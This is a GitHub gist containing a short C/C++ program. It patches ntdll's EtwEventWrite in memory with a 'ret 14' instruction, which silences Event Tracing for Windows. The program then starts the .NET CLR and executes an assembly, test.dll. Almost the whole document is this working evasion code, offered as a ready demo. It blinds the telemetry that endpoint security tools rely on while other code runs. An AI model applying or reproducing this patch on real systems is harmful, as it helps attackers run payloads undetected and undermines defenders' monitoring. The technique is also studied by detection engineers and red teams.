Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save binarytrails/120aa3c0b9712a77e6d2338abdd1b5c1 to your computer and use it in GitHub Desktop.

Select an option

Save binarytrails/120aa3c0b9712a77e6d2338abdd1b5c1 to your computer and use it in GitHub Desktop.

Revisions

  1. @xpn xpn created this gist Mar 18, 2020.
    88 changes: 88 additions & 0 deletions unmanaged_dotnet_unhook_etw.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,88 @@
    #include <stdio.h>
    #include <Windows.h>
    #include <MSCorEE.h>
    #include <MetaHost.h>
    #include <evntprov.h>

    int main()
    {
    ICLRMetaHost* metaHost = NULL;
    IEnumUnknown* runtime = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    IUnknown* enumRuntime = NULL;
    LPWSTR frameworkName = NULL;
    DWORD bytes = 2048, result = 0;
    HRESULT hr;
    DWORD oldProt, oldOldProt;

    printf("CLR via native code.... @_xpn_\n\n");

    // Get the EventWrite function
    void* eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");

    // Allow writing to page
    VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt);

    // Patch with "ret 14" on x86
    memcpy(eventWrite, "\xc2\x14\x00\x00", 4);

    // Return memory to original protection
    VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);

    if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)& metaHost) != S_OK) {
    printf("[x] Error: CLRCreateInstance(..)\n");
    return 2;
    }

    if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) {
    printf("[x] Error: EnumerateInstalledRuntimes(..)\n");
    return 2;
    }

    frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);
    if (frameworkName == NULL) {
    printf("[x] Error: malloc could not allocate\n");
    return 2;
    }

    // Enumerate through runtimes and show supported frameworks
    while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
    if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) {
    if (runtimeInfo != NULL) {
    runtimeInfo->GetVersionString(frameworkName, &bytes);
    wprintf(L"[*] Supported Framework: %s\n", frameworkName);
    }
    }
    }

    result = runtimeInfo->SetDefaultStartupFlags(1, NULL);

    // For demo, we just use the last supported runtime
    if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)& runtimeHost) != S_OK) {
    printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n");
    return 2;
    }

    if (runtimeHost == NULL || bytes == 0) {
    wprintf(L"[*] Using runtime: %s\n", frameworkName);
    }

    // Start runtime, and load our assembly
    runtimeHost->Start();

    printf("[*] ======= Calling .NET Code =======\n\n");
    if (runtimeHost->ExecuteInDefaultAppDomain(
    L"test.dll",
    L"test.Program",
    L"test",
    L"argtest",
    &result
    ) != S_OK) {
    printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n");
    return 2;
    }
    printf("[*] ======= Done =======\n");

    return 0;
    }